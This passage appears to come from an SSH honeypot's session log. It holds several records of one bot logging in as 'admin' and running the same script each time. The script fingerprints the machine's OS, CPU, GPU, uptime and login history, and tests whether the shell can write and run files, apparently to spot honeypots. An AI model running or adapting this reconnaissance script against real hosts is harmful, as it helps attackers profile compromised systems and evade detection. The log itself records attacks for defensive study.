printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:58:01.881210+00:00",
  "ended_at": "2026-08-27T09:58:01.988753+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "38a90257-ecf7-4a84-bd26-252ad902f4b7",
  "name": "prairie-airy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 60612,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:55:53.767263+00:00",
  "ended_at": "2026-08-27T09:55:53.871693+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "be0aef73-464d-4dfa-bd0d-282b2367103b",
  "name": "sleepy-faded-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 57586,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:54:04.811284+00:00",
  "ended_at": "2026-08-27T09:54:04.953361+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "078b32a4-b4b0-4df4-9dcc-a7206b1dc696",
  "name": "zealous-lofty-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 54566,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:52:17.290620+00:00",
  "ended_at": "2026-08-27T09:52:17.401711+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8f5bd653-4086-430f-95e8-3b58e785fd24",
  "name": "windswept-fringed-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 51524,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:50:26.424348+00:00",
  "ended_at": "2026-08-27T09:50:26.587018+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "548c5662-c993-4150-99d2-5eb575941d3f",
  "name": "tangled-mindful-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 48434,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:48:37.111610+00:00",
  "ended_at": "2026-08-27T09:48:37.315111+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "efc55195-8a2a-44b1-864b-9b3c83417887",
  "name": "supple-tranquil-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45376,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:46:50.664961+00:00",
  "ended_at": "2026-08-27T09:46:50.789179+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
